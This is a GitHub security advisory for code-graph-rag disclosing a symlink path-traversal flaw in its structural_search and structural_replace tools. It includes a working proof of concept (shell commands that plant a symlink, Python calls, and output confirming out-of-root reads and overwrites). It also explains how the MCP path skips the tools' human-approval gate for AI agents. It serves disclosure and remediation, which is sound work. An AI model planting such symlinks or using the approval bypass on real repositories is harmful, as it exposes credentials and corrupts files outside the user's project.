vitali87/code-graph-rag · Security
Code Graph RAG structural tools follow out-of-root symlinks
- GHSA ID
- GHSA-85gg-2gfq-q95m
- CVE ID
- CVE-2026-87008
- Severity
- high
- Published
- Updated
- CVSS
- 7.1 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- CVSS v3
- 7.1 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Description
A remote/local attacker who can get a symbolic link included in a source-code repository that code-graph-rag analyzes can cause the structural_search and structural_replace tools (backed by AstGrepService, exposed both as MCP tools and as agentic AI tools) to read and -- via structural_replace with dry_run=False -- overwrite arbitrary files outside the configured project root, because the tool's path-containment check (should_skip_path/_classify_file) is performed lexically on the unresolved path and never checks Path.is_symlink() or calls .resolve(), unlike the project's own (correct) validate_project_path decorator used elsewhere.
Tested at commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject version 0.0.550), current main at test time. Confirmed this commit already contains the fix for the prior advisory (GHSA-vvr2-h2jp-838m: paginated read_file path traversal) and the newer HTTP-MCP bearer-auth gate (_validate_http_exposure in codebase_rag/mcp/server.py) -- this is a distinct, still-open issue on top of those fixes, in a different component with a different root cause and a strictly worse impact (write, not just read).
Details
AstGrepService (codebase_rag/tools/ast_grep_service.py) backs both the structural_search and structural_replace MCP/agentic tools. It enumerates candidate files with os.walk() and gates each path only through should_skip_path():
codebase_rag/tools/ast_grep_service.py:84-109(_iter_source_files) -- walksself.project_rootwithos.walk(); every non-directory dirent returned (including a symlink pointing anywhere on disk) is treated as an in-scope file.codebase_rag/tools/ast_grep_service.py:61-82(_classify_file) -- the only containment check isshould_skip_path(...)followed byabs_path.relative_to(self.project_root)(line 82);abs_pathis never resolved, so this check is purely lexical/string-based.codebase_rag/utils/path_utils.py:80-109(should_skip_path) andcodebase_rag/utils/path_utils.py:35-37(cached_relative_path) -- computesrel_path = file_path.relative_to(repo_path)without ever calling.resolve()orPath.is_symlink().- Read sink:
codebase_rag/tools/ast_grep_service.py:143-144(search) --source = self._read(abs_path)callspath.read_text(), which Python follows through the symlink to its real target. - Write sink:
codebase_rag/tools/ast_grep_service.py:187-208(replace), line 208 --abs_path.write_text(new_source, ...)whendry_run=False, again following the symlink and overwriting the real target file's content.
This is inconsistent with how the rest of the codebase handles the exact same class of risk. The file read/write/edit tools (file_reader.py, file_writer.py, file_editor.py) are all protected by validate_project_path (codebase_rag/decorators.py:73-75):
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() follows symlinks before the containment check runs, so those tools correctly reject an out-of-root target. path_utils.py's own absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) documents the same principle explicitly in its docstring: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." -- but should_skip_path()/AstGrepService never applies that pattern.
Reachability: structural_search (codebase_rag/tools/structural_search.py:24-46) carries no requires_approval flag at all -- in AI-orchestrator mode the model can call it autonomously with no human confirmation. structural_replace (codebase_rag/tools/structural_editor.py:52-57) is marked requires_approval=True, but that flag is only enforced by pydantic-ai's own agent loop -- the MCP server path bypasses it entirely: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) calls self._structural_editor_tool.function(...) directly, registered with no approval concept at codebase_rag/mcp/tools.py:369-388. Any MCP client that can call tools can invoke structural_replace with dry_run=False in one shot.
Proof of Concept
Dynamically confirmed against the installed package (mgclient/pymgclient mocked, as in the prior advisory's own PoC, since the Memgraph native client isn't needed for this code path).
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
Actual run output:
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
Impact
Any operator who points cgr (CLI, agentic ask_agent mode, or MCP structural_search/structural_replace tools) at a repository they did not fully audit -- the exact use case this tool is built for ("query, understand, and edit multi-language codebases") -- can have that repository's planted symlink used to:
- Disclose the contents of any file readable by the
cgrprocess (credentials, SSH keys,.envfiles, sibling project source), viastructural_search, with no approval gate at all. - Overwrite the contents of any file writable by the
cgrprocess, viastructural_replace(dry_run=False), bypassing the tool's own approval gate when called through the MCP protocol.
Remediation
Apply the same resolve-then-contain pattern already used by validate_project_path (codebase_rag/decorators.py:73-75) and absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) to should_skip_path. Reject any path whose resolved (symlink-followed) location escapes the resolved project root:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
Concretely: this one change in should_skip_path fixes both _classify_file (search) and the os.walk filtering in _iter_source_files (replace), since both route through it. As defense in depth, _iter_source_files could additionally skip symlinked dirents outright (entry.is_symlink()) during the os.walk.
Credit: Dostxodjayev Abdullox (GitHub: squeeze440)
CWEs
- CWE-22 · Improper Limitation of a Pathname to a Restricted Directory
- CWE-59 · Improper Link Resolution Before File Access
References
- https://github.com/vitali87/code-graph-rag/security/advisories/GHSA-85gg-2gfq-q95m ↗
- https://nvd.nist.gov/vuln/detail/CVE-2026-87008 ↗
- https://github.com/vitali87/code-graph-rag/commit/2648c95aa550ce2d9361a8e75ed669d5f4b451b8 ↗
- https://github.com/vitali87/code-graph-rag/releases/tag/v0.0.589 ↗
- https://github.com/advisories/GHSA-85gg-2gfq-q95m ↗